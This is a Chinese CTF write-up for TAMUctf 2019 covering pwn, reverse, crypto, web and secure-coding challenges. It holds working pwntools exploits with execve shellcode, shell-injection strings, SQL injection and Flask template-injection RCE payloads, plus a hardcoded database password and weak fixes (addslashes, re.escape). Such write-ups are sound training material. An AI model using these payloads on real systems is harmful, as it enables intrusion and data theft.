前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >TAMUCTF-2019 Write up

TAMUCTF-2019 Write up

作者头像
安恒网络空间安全讲武堂
发布2019-05-09 18:37:13
1.6K0
发布2019-05-09 18:37:13
举报

Pwn

pwn1

➜  pwn1 checksec pwn1[*] '/home/Ep3ius/CTF/pwn/process/TAMUctf2019/pwn1/pwn1'    Arch:     i386-32-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      PIE enabled

简单的过两个肉眼可见的cmp再加上gets覆盖栈上数据来进入getflag函数

#! /usr/bin/env python# -*- coding: utf-8 -*-# Distributed under terms of the MIT license.#flag = gigem{34sy_CC428ECD75A0D392}from pwn import*context(os='linux',arch='i386',log_level='debug')# n = process('./pwn1')n = remote('pwn.tamuctf.com',4321)elf = ELF('./pwn1')
name = "Sir Lancelot of Camelot"quest = "To seek the Holy Grail."payload = 'a'*(0x3b-0x10)+p32(0xDEA110C8)
n.sendlineafter('name?',name)n.sendlineafter('quest?',quest)n.sendlineafter('secret?',payload)
n.interactive()

pwn2

➜  pwn2 checksec pwn2[*] '/home/Ep3ius/CTF/pwn/process/TAMUctf2019/pwn2/pwn2'    Arch:     i386-32-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      PIE enabled

简单的看下反编译的结果

void __cdecl main(int argc, const char **argv, const char **envp){  char s[39]; // [esp+1h] [ebp-27h]
  *&s[31] = &argc;  setvbuf(stdout, &dword_0 + 2, 0, 0);  puts("Which function would you like to call?");  gets(s);  select_func(s);}void __cdecl select_func(char *src){  char dest; // [esp+Eh] [ebp-2Ah]  int (*v2)(); // [esp+2Ch] [ebp-Ch]
  v2 = two;  strncpy(&dest, src, 31u);  if ( !strcmp(&dest, "one") )    v2 = one;  v2();}

gets可以造成栈溢出,最终只需要劫持程序执行流到printflag函数就行,strncpy中将src拷贝到dest上可以覆盖栈上的v2指针,而two函数和printflag函数只有最后一个字节不同,所以不用再去爆破一个1/16

#! /usr/bin/env python# -*- coding: utf-8 -*-# Distributed under terms of the MIT license.# flag = gigem{4ll_17_74k35_15_0n3}from pwn import*context(os='linux',arch='i386',log_level='debug')# n = process('./pwn2')n = remote('pwn.tamuctf.com',4322)elf = ELF('./pwn2')
payload = 'a'*(0x2a-0xc)+'\xd8'n.sendlineafter('call?',payload)
n.interactive()

pwn3

➜  pwn3 checksec pwn3[*] '/home/Ep3ius/CTF/pwn/process/TAMUctf2019/pwn3/pwn3'    Arch:     i386-32-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX disabled    PIE:      PIE enabled

NX没开,简单粗暴的猜测要写shellcode,稍微跑一下

➜  pwn3 ./pwn3Take this, you might need it on your journey 0xfffa3d0e!aaaa➜  pwn3

审计下反编译的结果

int __cdecl main(int argc, const char **argv, const char **envp){  setvbuf(stdout, &dword_0 + 2, 0, 0);  echo();  return 0;}void echo(){  char s; // [esp+Eh] [ebp-12Ah]
  printf("Take this, you might need it on your journey %p!\n", &s);  gets(&s);}

程序本身就leak出了s的地址,直接写个shellcode然后ret到栈上执行就行

#! /usr/bin/env python# -*- coding: utf-8 -*-# Distributed under terms of the MIT license.# flag = gigem{r3m073_fl46_3x3cu710n}from pwn import*context(os='linux',arch='i386',log_level='debug')# n = process('./pwn3')n = remote('pwn.tamuctf.com',4323)elf = ELF('./pwn3')
n.recvuntil('0x')addr = int(n.recvuntil('!')[:-1],16)print hex(addr)shellcode =  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"shellcode += "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";payload = shellcode.ljust(0x12a,'a')+'aaaa' + p32(addr)n.sendlineafter('',payload)
n.interactive()

pwn4

➜  pwn4 checksec pwn4[*] '/home/Ep3ius/CTF/pwn/process/TAMUctf2019/pwn4/pwn4'    Arch:     i386-32-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x8048000)➜  pwn4

看一下反编译的结果

void main(){  setvbuf(stdout, 2, 0, 0);  while ( 1 )    laas();}void laas(){  char buf[33]; // [esp+7h] [ebp-21h]
  puts("ls as a service (laas)(Copyright pending)");  puts("Enter the arguments you would like to pass to ls:");  gets(buf);  if ( strchr(buf, 47) )    puts("No slashes allowed");  else    run_cmd(buf);}void run_cmd(char *a1){  char cmd[27]; // [esp+2h] [ebp-26h]
  snprintf(cmd, 0x1Bu, "ls %s", a1);  printf("Result of %s:\n", cmd);  system(cmd);}

一个简单的命令执行绕过,最终cmd的格式是 'ls '+str(command),能想到很多payload例如 &$0&&cat flag.txt|sed-n'1p'flag.txt,很简单就不多说了,想挑战这类的命令执行pwnable.kr的cmd可以去做做

#! /usr/bin/env python# -*- coding: utf-8 -*-# Distributed under terms of the MIT license.# flag = gigem{5y573m_0v3rfl0w}from pwn import*context(os='linux',arch='i386',log_level='debug')# n = process('./pwn4')n = remote('pwn.tamuctf.com',4324)elf = ELF('./pwn4')
payload = "& $0"n.sendlineafter('ls:',payload)n.sendline('/bin/cat flag.txt')n.interactive()

pwn5

➜  pwn5 checksec pwn5[*] '/home/Ep3ius/CTF/pwn/process/TAMUctf2019/pwn5/pwn5'    Arch:     i386-32-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x8048000)

反编译结果和上面基本一样,但多了字节限制,最终限制到了3个字节,刚好 ;$0可以直接getshell,就直接去用了,不过感觉还有其他方法可以使用,希望能请教下有其他思路的师傅的思路

void __cdecl run_cmd(char *a1){  char cmd[6]; // [esp+6h] [ebp-12h]
  snprintf(cmd, 7, "ls %s", a1);  printf("Result of %s:\n", cmd);  system(cmd);}
#! /usr/bin/env python# -*- coding: utf-8 -*-# Distributed under terms of the MIT license.# flag = gigem{r37urn_0r13n73d_pr4c71c3}from pwn import*context(os='linux',arch='i386',log_level='debug')# n = process('./pwn5')n = remote('pwn.tamuctf.com',4325)elf = ELF('./pwn5')
payload = ';$0'n.sendlineafter('ls:',payload)n.interactive()

Re

Cheesy

简单的通过ida获得反编译的代码后,能很直接的在main函数看到几串类似base64的字符串,直接写个脚本把base64解了flag就出来了

import base64print base64.b64decode('Z2lnZW17M2E1eV9SM3YzcjUxTjYhfQ==')#flag = gigem{3a5y_R3v3r51N6!}

Snakes over cheese

题目给了一个python的pyc包,直接找个在线反编译python的获得python源码

from datetime import datetimeFqaa = [    102,    108,    97,    103,    123,    100,    101,    99,    111,    109,    112,    105,    108,    101,    125]XidT = [    83,    117,    112,    101,    114,    83,    101,    99,    114,    101,    116,    75,    101,    121]
def main():    print 'Clock.exe'    input = raw_input('>: ').strip()    kUIl = ''    for i in XidT:        kUIl += chr(i)
    if input == kUIl:        alYe = ''        for i in Fqaa:            alYe += chr(i)
        print alYe    else:        print datetime.now()
if __name__ == '__main__':    main()

可以看出Fqaa数组里就是flag的ascii码,稍微转换一下flag就出来了

Fqaa = [102,108,97,103,123,100,101,99,111,109,112,105,108,101,125]def re():    flag = ""    for i in Fqaa:        flag += chr(i)    print flag
re()#flag = flag{decompile}

042

题目给了个莫名其妙的汇编片段,逻辑很简单,稍微分析下就能得出最终是printf出栈上的flag,所以把栈上的数据转成char类型就能得到flag了,其他的我也稍微注释了一下,对要入门汇编的人来讲看起来也会比较好看

.section    __TEXT,__text,regular,pure_instructions.build_version macos, 10, 14.globl    _concat                 ## -- Begin function concat.p2align    4, 0x90_concat:                                ## @concat.cfi_startproc## %bb.0:pushq    %rbp.cfi_def_cfa_offset 16.cfi_offset %rbp, -16movq    %rsp, %rbp.cfi_def_cfa_register %rbpsubq    $48, %rspmovq    %rdi, -8(%rbp)movq    %rsi, -16(%rbp)movq    -8(%rbp), %rdicallq    _strlen
movq    -16(%rbp), %rdimovq    %rax, -32(%rbp)         ## 8-byte Spillcallq    _strlen
movq    -32(%rbp), %rsi         ## 8-byte Reloadaddq    %rax, %rsiaddq    $1, %rsimovq    %rsi, %rdicallq    _malloc
movq    $-1, %rdxmovq    %rax, -24(%rbp)movq    -24(%rbp), %rdimovq    -8(%rbp), %rsicallq    ___strcpy_chk
movq    $-1, %rdxmovq    -24(%rbp), %rdimovq    -16(%rbp), %rsimovq    %rax, -40(%rbp)         ## 8-byte Spillcallq    ___strcpy_chk
movq    -24(%rbp), %rdxmovq    %rax, -48(%rbp)         ## 8-byte Spillmovq    %rdx, %raxaddq    $48, %rsppopq    %rbpretq.cfi_endproc                                    ## -- End function.globl    _main                   ## -- Begin function main.p2align    4, 0x90_main:                                  ## @main.cfi_startproc## %bb.0:pushq    %rbp.cfi_def_cfa_offset 16.cfi_offset %rbp, -16movq    %rsp, %rbp.cfi_def_cfa_register %rbpsubq    $80, %rspleaq    L_.str(%rip), %rdimovl    $3, %eaxmovl    $14, %ecxxorl    %esi, %esimovl    $8, %edx                                    ## kill: def %rdx killed %edxleaq    -16(%rbp), %r8movq    ___stack_chk_guard@GOTPCREL(%rip), %r9movq    (%r9), %r9movq    %r9, -8(%rbp)movl    $0, -20(%rbp)movq    %rdi, -56(%rbp)         ## 8-byte Spillmovq    %r8, %rdimovl    %ecx, -60(%rbp)         ## 4-byte Spillmovl    %eax, -64(%rbp)         ## 4-byte Spillcallq    _memset
movb    $65, -16(%rbp)         ## Amovb    $53, -15(%rbp)         ## 5movb    $53, -14(%rbp)         ## 5movb    $51, -13(%rbp)         ## 3movb    $77, -12(%rbp)             ## Mmovb    $98, -11(%rbp)         ## bmovb    $49, -10(%rbp)         ## 1movb    $89, -9(%rbp)          ## Ymovl    $0, -28(%rbp)          ## \x00movl    $1, -32(%rbp)movl    $2, -36(%rbp)movl    -36(%rbp), %eaximull    -36(%rbp), %eaximull    -36(%rbp), %eaxmovl    -28(%rbp), %ecxaddl    -32(%rbp), %ecxaddl    -32(%rbp), %ecxaddl    -32(%rbp), %ecximull    %ecx, %eaxcltdmovl    -60(%rbp), %ecx         ## 4-byte Reloadidivl    %ecxmovl    %eax, -40(%rbp)movl    -36(%rbp), %eaximull    -36(%rbp), %eaximull    -36(%rbp), %eaxmovl    -28(%rbp), %esiaddl    -32(%rbp), %esiaddl    -32(%rbp), %esiimull    %esi, %eaxcltdmovl    -64(%rbp), %esi         ## 4-byte Reloadidivl    %esimovl    %eax, -44(%rbp)movl    -40(%rbp), %esimovq    -56(%rbp), %rdi         ## 8-byte Reloadmovb    $0, %alcallq    _printf                 ## printf("The answer: %d");
leaq    L_.str.1(%rip), %rdimovl    -44(%rbp), %esimovl    %eax, -68(%rbp)         ## 4-byte Spillmovb    $0, %alcallq    _printf                 ## printf("Maybe it's this:%d",)
leaq    L_.str.2(%rip), %rdileaq    -16(%rbp), %rsimovl    %eax, -72(%rbp)         ## 4-byte Spillmovb    $0, %alcallq    _printf                 ##printf("gigem{%s}",flag);
movq    ___stack_chk_guard@GOTPCREL(%rip), %rsimovq    (%rsi), %rsimovq    -8(%rbp), %rdicmpq    %rdi, %rsimovl    %eax, -76(%rbp)         ## 4-byte Spilljne    LBB1_2## %bb.1:xorl    %eax, %eaxaddq    $80, %rsppopq    %rbpretqLBB1_2:callq    ___stack_chk_failud2.cfi_endproc                                    ## -- End function.section    __TEXT,__cstring,cstring_literalsL_.str:                                 ## @.str.asciz    "The answer: %d\n"
L_.str.1:                               ## @.str.1.asciz    "Maybe it's this:%d\n"
L_.str.2:                               ## @.str.2.asciz    "gigem{%s}\n"
.subsections_via_symbols

KeyGenMe

简单审计过后发现是道中规中矩的KeyCheck题,看一下反编译结果

int __cdecl main(int argc, const char **argv, const char **envp){  char v3; // al  FILE *stream; // [rsp+8h] [rbp-C8h]  char key[65]; // [rsp+10h] [rbp-C0h]  char flag; // [rsp+60h] [rbp-70h]  unsigned __int64 v8; // [rsp+C8h] [rbp-8h]
  v8 = __readfsqword(0x28u);  setvbuf(_bss_start, 0LL, 2, 0LL);  puts("\nPlease Enter a product key to continue: ");  fgets(key, 65, stdin);  verify_key(key);  if ( v3 )  {    stream = fopen("flag.txt", "r");    if ( !stream )    {      puts("Too bad the flag is only on the remote server!");      return 0;    }    fgets(&flag, 100, stream);    printf("%s", &flag);  }  return 0;}
_BYTE *__fastcall enc(const char *key){  unsigned __int8 v2; // [rsp+1Fh] [rbp-11h]  int i; // [rsp+20h] [rbp-10h]  int len; // [rsp+24h] [rbp-Ch]  _BYTE *v5; // [rsp+28h] [rbp-8h]
  v5 = malloc(0x40uLL);  len = strlen(key);  v2 = 0x48;  for ( i = 0; i < len; ++i )  {    v5[i] = ((key[i] + 12) * v2 + 17) % 70 + 0x30;    v2 = v5[i];  }  return v5;}

程序的逻辑大致是,先输入一个key,然后对这个key进行一系列变换操作后与题目所给的字符串进行比较,如果一致就能得到flag

思路很清晰,通过爆破可见字符获得一个可行解(这题的key不唯一刚开始脑抽了以为解是flag去算所有解,哭。

# flag = gigem{k3y63n_m3?_k3y63n_y0u!}from pwn import*n = remote('rev.tamuctf.com',7223)key = ""enc = "[OIonU2_<__nK<KsK"v5 = list(enc)v2 = 0x48
for j in range(32,127):    if ord(v5[0])==((j+12)*0x48+17)%70+0x30:        key += chr(j)        break
for i in range(1,17):    for j in range(32,127):        if ord(v5[i])==((j+12)*ord(v5[i-1])+17)%70+0x30:            key += chr(j)            break
print keyn.sendafter('continue: ',key)n.interactive()

Cr4ckZ33C0d3

这题就有意思了,main函数和上一题一样就不贴了,我们着重来看下verify_key

_BOOL8 __fastcall verify_key(const char *key){  size_t size; // rax  _BOOL8 result; // rax  bool v3; // al
  if ( strlen(key) > 28 )  {    v3 = check_01(key)      && check_02(key)      && check_03(key)      && check_04(key)      && check_05(key)      && check_06(key)      && check_07(key)      && check_08(key)      && check_09(key)      && check_0A(key)      && check_0B(key)      && check_0C(key)      && check_0D(key)      && check_0E(key)      && check_0F(key);    result = v3;  }  else  {    size = strlen(key);    printf("Key was too short %d.\n", size);    result = 0LL;  }  return result;}

巨多分支,看着瑟瑟发抖,都不想点进去看,angr一把梭!

事实证明angr去做这种 一堆check条件的求约束是真的好用,angr多学学稳赚的,万一遇到比这个更复杂的条件的题,angr写好放那跑,万一跑出来了呢(笑@)

#flag = gigem{z3_b3st_thr33}from pwn import*import angrn = remote('rev.tamuctf.com',8189)logging.getLogger('angr').setLevel('INFO')
proj = angr.Project("./prodkey")state = proj.factory.entry_state()state.posix.fd[0].size = 28simgr = proj.factory.simgr(state)
simgr.explore(find=0x400e5d, avoid=[0x400Cd0])key = list(simgr.found[0].posix.dumps(0))
payload = ""for i in key:    payload += chr(i)
n.sendafter('continue: ',payload)
n.interactive()

obfuscaxor

看上去就很恶心的反编译,把那些函数名简化一下结合着gdb去一步步调然后看输入的东西是怎么变化的

from pwn import*n = remote('rev.tamuctf.com',7224)a = [0xAE, 0x9E, 0xFF, 0x9C, 0xAB, 0xC7, 0xD3, 0x81, 0xE7, 0xEE,0xFB, 0x8A, 0x9D, 0xEF, 0x8D, 0xAE]b = [0xBF, 0xCC, 0xDF, 0x8E]key = ''for i in range(len(a)):    key += chr(a[i]^b[i%4]^97)
n.sendlineafter(': ',key)n.interactive()

Crypto

-.-

一看就知道是莫斯电码,但和平时国内ctf用的di-dah不太一样,多了个dit,搜一下得到这种是 InternationalMorseCode的标准,写个脚本转换一下得到

0X57702A6C58744751386538716E6D4D59552A737646486B6A49742A5251264A705A766A6D2125254B446B6670235E4E39666B346455346C423372546F5430505A516D4351454B5942345A4D762A21466B386C25626A716C504D6649476D612525467A4720676967656D7B433169634B5F636C31434B2D7930755F683476335F6D3449317D20757634767A4B5A7434796F6D694453684C6D385145466E5574774A404E754F59665826387540476E213125547176305663527A56216A217675757038426A644E49714535772324255634555A4F595A327A37543235743726784C40574F373431305149

转换一下

cip = 0x57702A6C58744751386538716E6D4D59552A737646486B6A49742A5251264A705A766A6D2125254B446B6670235E4E39666B346455346C423372546F5430505A516D4351454B5942345A4D762A21466B386C25626A716C504D6649476D612525467A4720676967656D7B433169634B5F636C31434B2D7930755F683476335F6D3449317D20757634767A4B5A7434796F6D694453684C6D385145466E5574774A404E754F59665826387540476E213125547176305663527A56216A217675757038426A644E49714535772324255634555A4F595A327A37543235743726784C40574F373431305149print hex(cip)[2:len(hex(cip))-1].decode('hex')#Wp*lXtGQ8e8qnmMYU*svFHkjIt*RQ&JpZvjm!%%KDkfp#^N9fk4dU4lB3rToT0PZQmCQEKYB4ZMv*!Fk8l%bjqlPMfIGma%%FzG gigem{C1icK_cl1CK-y0u_h4v3_m4I1} uv4vzKZt4yomiDShLm8QEFnUtwJ@NuOYfX&8u@Gn!1%Tqv0VcRzV!j!vuup8BjdNIqE5w#$%V4UZOYZ2z7T25t7&xL@WO7410QI

flag就出来了

RSAaaay

简单的rsa题,给了n、e、c,都很小,直接分解n然后求d接着pow(c,d,n)

解出rsa后有点小坑,正常我都是输出十六进制的,但这题要输出十进制然后手工ascii转字符

import gmpyp = gmpy.mpz(509)q = gmpy.mpz(4973)#d = 58739e = gmpy.mpz(43)phi_n= (p - 1) * (q - 1)d = gmpy.invert(e, phi_n)n = 2531257result = [906851,991083,1780304,2380434,438490,356019,921472,822283,817856,556932,2102538,2501908,2211404,991083,1562919,38268]
for i in result:    print pow(int(i),d,n)
key = [103,105,103,101,109,123,83,97,118,97,103,101,95,83,105,120,95,70,108,121,105,110,103,95,84,105,103,101,114,115,125]flag = ""for i in key:    flag += chr(i)
print flag

Holey Knapsack

典型的背包加密,有几个要先了解下

加密方式 $ciptext = \sum{i=1}^{i=n}biv_i$

public_key: $bi=waimod({m})$

public_key条件 $m=am>\sum{i=1}^{i=m-1}a_i$(最末项大于前面所有项求和)

通过尝试可以发现cip是四个一组来解的,直接用sage来解(矩阵运算无敌好用的sage)然后得到flag

encoded = '11b90d6311b90ff90ce610c4123b10c40ce60dfa123610610ce60d450d000ce61061106110c4098515340d4512361534098509270e5d09850e58123610c9'#encoded = 0x11b9pubKey=[99, 1235, 865, 990, 5, 1443, 895, 1477]nbit = len(pubKey)enc =0flag = ""for enc in range(0,len(encoded)/4):    A = Matrix(ZZ, nbit + 1, nbit + 1)    for i in xrange(nbit):        A[i, i] = 1    for i in xrange(nbit):        A[i, nbit] = pubKey[i]
    A[nbit, nbit] = -int(encoded[4*enc:4*(enc+1)],16)    res = A.LLL()    #print res    if enc>len(encoded)-1: break    inm = 1    for i in range(0,nbit+1):        for j in range(0,nbit+1):            if res[i][j]!=0 and res[i][j]!=1:                inm = 0        if inm!=0:            flag += chr(int("".join([str(x) for x in res[i][::-1]]),2))        inm = 1
print flag

Web

Not Another SQLi Challenge

没waf的sql注入,构造 admin' or 1=1 #注释掉后面的东西登录admin帐号拿到flag

flag:gigem{f4rm3r5_f4rm3r5_w3'r3_4ll_r16h7}!

Robots Rule

看到robots就想到要去看robots.txt,访问后发现

User-agent: *
WHAT IS UP, MY FELLOW HUMAN!HAVE YOU RECEIVED SECRET INFORMATION ON THE DASTARDLY GOOGLE ROBOTS?!YOU CAN TELL ME, A FELLOW NOT-A-ROBOT!

伪造下use agents为 Googlebot/2.1(+http://www.google.com/bot.html) get flag

User-agent: *
THE HUMANS SUSPECT NOTHING!HERE IS THE SECRET INFORMATION: gigem{be3p-bOop_rob0tz_4-lyfe}LONG LIVE THE GOOGLEBOTS!

Science!

看到 (FlaskasaService),联想到会不会是flask模板注入,先搓个读文件的payload

{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}} 成功返回文件内容

The result of combining root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin messagebus:x:101:101::/nonexistent:/usr/sbin/nologin webuser:x:1000:1001::/opt/tamuctf:/bin/sh and is:

这时就有两条路可走,由于我们通过前面几题知道flag在flag.txt里,所以只需要读 ./flag.txt就能得到flag,而第二种做法是我们去创造一个命令执行说的厉害点就是RCE,payload如下

{%forcin[].__class__.__base__.__subclasses__()%}{%ifc.__name__=='catch_warnings'%}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls && cat flag.txt').read()")}}{%endif%}{%endfor%}

Many Gig'ems to you!

flag被分在了三个地方,基本查看下源码然后有些脑洞,看到饼干联想到要去看cookie,这题就解出来了

flag=gigem{flag_in_source_and_cookies}

Misc

Who am I? & Who do I trust? & Where am I?

这三题感觉就是用来检验会不会用搜索引擎的,百度一下都能搜到结果

ip = 52.33.57.247trust = Let’s Encrypt Authority X3addr = Boardman

I heard you like files.

给了一个png文件,可以分离出来有一个压缩包解压一下,然后在 /output/zip/word/media/image1.png的最后一行发现有段base64,解一下发现是flag

import base64print base64.b64decode('ZmxhZ3tQMGxZdEByX0QwX3kwdV9HM3RfSXRfTjB3P30K==')#'flag{P0lYt@r_D0_y0u_G3t_It_N0w?}\n'

Secure Coding

这类型的题目还是第一次见,感觉对线下的ad挺有帮助的,虽然这是直接给了源码让你改(笑)

SQL

给了一个gitlab,看一下给的仓库,很容易找到问题在login.php里

<?php  ini_set('display_errors', 'On');  error_reporting(E_ALL | E_STRICT);  echo "<html>";  if (isset($_POST["username"]) && isset($_POST["password"])) {    $servername = "localhost";    $username = "sqli-user";    $password = 'AxU3a9w-azMC7LKzxrVJ^tu5qnM_98Eb';    $dbname = "SqliDB";    $conn = new mysqli($servername, $username, $password, $dbname);    if ($conn->connect_error)        die("Connection failed: " . $conn->connect_error);    $user = $_POST['username'];    $pass = $_POST['password'];    $sql = "SELECT * FROM login WHERE User='$user' AND Password='$pass'";    if ($result = $conn->query($sql))    {      if ($result->num_rows >= 1)      {        $row = $result->fetch_assoc();        echo "You logged in as " . $row["User"];        $row = $result->fetch_assoc();        echo "<html>You logged in as " . $row["User"] . "</html>\n";      }      else {        echo "Sorry to say, that's invalid login info!";      }    }    $conn->close();  }  else    echo "Must supply username and password...";  echo "</html>";?>

我们可以看到有 $user=$_POST['username'];,也就是直接把输入的东西传入拼接sql语句,未进行任何脏数据的过滤,于是我加了个 addslashes()来对输入进行转义

<?php  ini_set('display_errors', 'On');  error_reporting(E_ALL | E_STRICT);  echo "<html>";  if (isset($_POST["username"]) && isset($_POST["password"])) {    $servername = "localhost";    $username = "sqli-user";    $password = 'AxU3a9w-azMC7LKzxrVJ^tu5qnM_98Eb';    $dbname = "SqliDB";    $conn = new mysqli($servername, $username, $password, $dbname);    if ($conn->connect_error)        die("Connection failed: " . $conn->connect_error);    $user = addslashes($_POST['username']);    $pass = addslashes($_POST['password']);    $sql = "SELECT * FROM login WHERE User='$user' AND Password='$pass'";    if ($result = $conn->query($sql))    {      if ($result->num_rows >= 1)      {        $row = $result->fetch_assoc();        echo "You logged in as " . $row["User"];        $row = $result->fetch_assoc();        echo "<html>You logged in as " . $row["User"] . "</html>\n";      }      else {        echo "Sorry to say, that's invalid login info!";      }    }    $conn->close();  }  else    echo "Must supply username and password...";  echo "</html>";?>

然后就成功过check

Service Check Succeeded After Attackflag: gigem{the_best_damn_sql_anywhere}

PWN

仓库里有个vuln.c,稍微看下内容

#include <stdio.h>#include <stdlib.h>
void echo(){    printf("%s", "Enter a word to be echoed:\n");    char buf[128];    gets(buf);    printf("%s\n", buf);}
int main(){    echo();}

漏洞很明显,用了gets造成了栈溢出,把gets换成 read(0,buf,128)就能过check了

{"msg": "Service Check Succeeded After Attack\nflag: gigem{check_that_buffer_size_baby}"}

Science

这题和web那题flask模板注入的名字一样,emmmm好像就是那题的源码,还是老问题,在 view.py中未对输入进行过滤加个 escape()转义下,最终 view.py如下

import requestsimport jsonimport sysimport refrom tamuctf import appfrom flask import Flask, render_template, request, jsonify, render_template_string
@app.route('/')@app.route('/index')def index():
    return render_template('index.html')
@app.route('/science', methods=['POST'])def science():    try:        chem1 = re.escape(request.form['chem1'])        chem2 = re.escape(request.form['chem2'])        template = '''<html>        <div style="text-align:center">        <h3>The result of combining {} and {} is:</h3></br>        <iframe src="https://giphy.com/embed/AQ2tIhLp4cBa" width="468" height="480" frameBorder="0" class="giphy-embed" allowFullScreen></iframe></div>        </html>'''.format(chem1, chem2)
        return render_template_string(template, dir=dir, help=help, locals=locals)    except:        return "Something went wrong"

成功过check

{"msg": "Service Check Succeeded After Attack\nflag: gigem{br0k3n_fl4sk_2d88bb862569}"}

总结

渗透看了看发现主机扫玩端口后就啥也搞不懂了,虽然找了找相关端口和软件的cve,但一点用都没有……,pwn题最后一题很难过的是发现了可以无限任意地址读写的函数但第一个while循环找不到break出来的方法,果然我还是太菜了,这么一大堆基础的都不会,不过好歹算认知到了这个事实,接下来要好好的学习补充了……

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-03-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Pwn
    • pwn1
      • pwn2
        • pwn3
          • pwn4
            • pwn5
            • Re
              • Cheesy
                • Snakes over cheese
                  • 042
                    • KeyGenMe
                      • Cr4ckZ33C0d3
                        • obfuscaxor
                        • Crypto
                          • -.-
                            • RSAaaay
                              • Holey Knapsack
                              • Web
                                • Not Another SQLi Challenge
                                  • Robots Rule
                                    • Science!
                                      • Many Gig'ems to you!
                                      • Misc
                                        • Who am I? & Who do I trust? & Where am I?
                                          • I heard you like files.
                                            • Secure Coding
                                              • SQL
                                                • PWN
                                                  • Science
                                                  • 总结
                                                  领券
                                                  问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档